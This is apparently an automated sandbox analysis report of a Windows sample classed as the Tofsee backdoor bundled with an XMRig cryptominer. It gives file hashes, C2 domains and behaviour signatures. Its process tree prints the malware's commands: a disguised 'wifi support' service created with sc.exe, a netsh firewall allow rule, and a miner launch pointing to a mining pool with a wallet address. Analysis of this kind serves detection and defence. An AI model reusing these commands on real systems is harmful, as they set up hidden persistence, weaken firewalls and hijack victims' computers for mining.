Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    04-05-2023 10:57

General

  • Target

    file.exe

  • Size

    319KB

  • MD5

    fe0447a7d3da51ecc9bca3a1fae3f57b

  • SHA1

    2f59f1be792d9522ca337f45bda87f6a89758d1a

  • SHA256

    ae6bd7a2bfc9056b62e8ed38a36db8d67c72821b6d3e86bfa1153ff5d7498b0e

  • SHA512

    4eb744f823e2757b831d50a665f12ade8b30a317226dfd5a69bdf87c66391f9c71d87ef28cc32a71447110262b14c556635b25d863dd596936df1b53f60a2790

  • SSDEEP

    3072:ODMOZg29W5FRk75YqJbSNgktBN+CqYO5RirZh5Rn4UmxXAV9x/ht:QMOtu3kyqJ2tvqz4D4ZxXAjt

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2032
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kituevsx\
      2⤵
        PID:1688
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ykwbyedr.exe" C:\Windows\SysWOW64\kituevsx\
        2⤵
          PID:1916
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kituevsx binPath= "C:\Windows\SysWOW64\kituevsx\ykwbyedr.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:792
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kituevsx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1124
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kituevsx
          2⤵
          • Launches sc.exe
          PID:1504
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:324
      • C:\Windows\SysWOW64\kituevsx\ykwbyedr.exe
        C:\Windows\SysWOW64\kituevsx\ykwbyedr.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1760
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1508
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1296

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ykwbyedr.exe

        Filesize

        12.0MB

        MD5

        a547aaeb563d137a4fc15ba1961db055

        SHA1

        e7ecc86d4449ba4e7595a9fac91bd3dafd71991c

        SHA256

        1e25b7ec4c5ec998a5d9a7bef18c4b19cb884d6d1dc059a3e568312d912d2015

        SHA512

        cc43256515892c113eba5f431fb1a5eefdaf4f907388d9851ba61959f1f975067a56ea81096ec60dbc5f5740b4dda3c1d2979115efdf61b2f27e2e99eb52d138

      • C:\Windows\SysWOW64\kituevsx\ykwbyedr.exe

        Filesize

        12.0MB

        MD5

        a547aaeb563d137a4fc15ba1961db055

        SHA1

        e7ecc86d4449ba4e7595a9fac91bd3dafd71991c

        SHA256

        1e25b7ec4c5ec998a5d9a7bef18c4b19cb884d6d1dc059a3e568312d912d2015

        SHA512

        cc43256515892c113eba5f431fb1a5eefdaf4f907388d9851ba61959f1f975067a56ea81096ec60dbc5f5740b4dda3c1d2979115efdf61b2f27e2e99eb52d138

      • memory/1296-111-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/1296-124-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/1296-123-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/1296-122-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/1296-121-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/1296-120-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/1296-119-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/1296-112-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/1508-88-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1508-93-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1508-75-0x00000000000A0000-0x00000000000A6000-memory.dmp

        Filesize

        24KB

      • memory/1508-74-0x0000000001B00000-0x0000000001D0F000-memory.dmp

        Filesize

        2.1MB

      • memory/1508-78-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1508-81-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1508-82-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1508-83-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1508-84-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1508-86-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1508-85-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1508-87-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1508-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1508-89-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1508-90-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1508-92-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1508-91-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1508-71-0x0000000001B00000-0x0000000001D0F000-memory.dmp

        Filesize

        2.1MB

      • memory/1508-94-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1508-96-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1508-95-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1508-97-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1508-98-0x0000000000160000-0x0000000000165000-memory.dmp

        Filesize

        20KB

      • memory/1508-101-0x0000000000160000-0x0000000000165000-memory.dmp

        Filesize

        20KB

      • memory/1508-102-0x0000000005870000-0x0000000005C7B000-memory.dmp

        Filesize

        4.0MB

      • memory/1508-105-0x0000000005870000-0x0000000005C7B000-memory.dmp

        Filesize

        4.0MB

      • memory/1508-106-0x00000000001F0000-0x00000000001F7000-memory.dmp

        Filesize

        28KB

      • memory/1508-110-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1508-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1508-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1508-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1508-61-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1508-63-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1760-65-0x0000000000400000-0x00000000006EA000-memory.dmp

        Filesize

        2.9MB

      • memory/2032-56-0x00000000002A0000-0x00000000002B3000-memory.dmp

        Filesize

        76KB

      • memory/2032-60-0x0000000000400000-0x00000000006EA000-memory.dmp

        Filesize

        2.9MB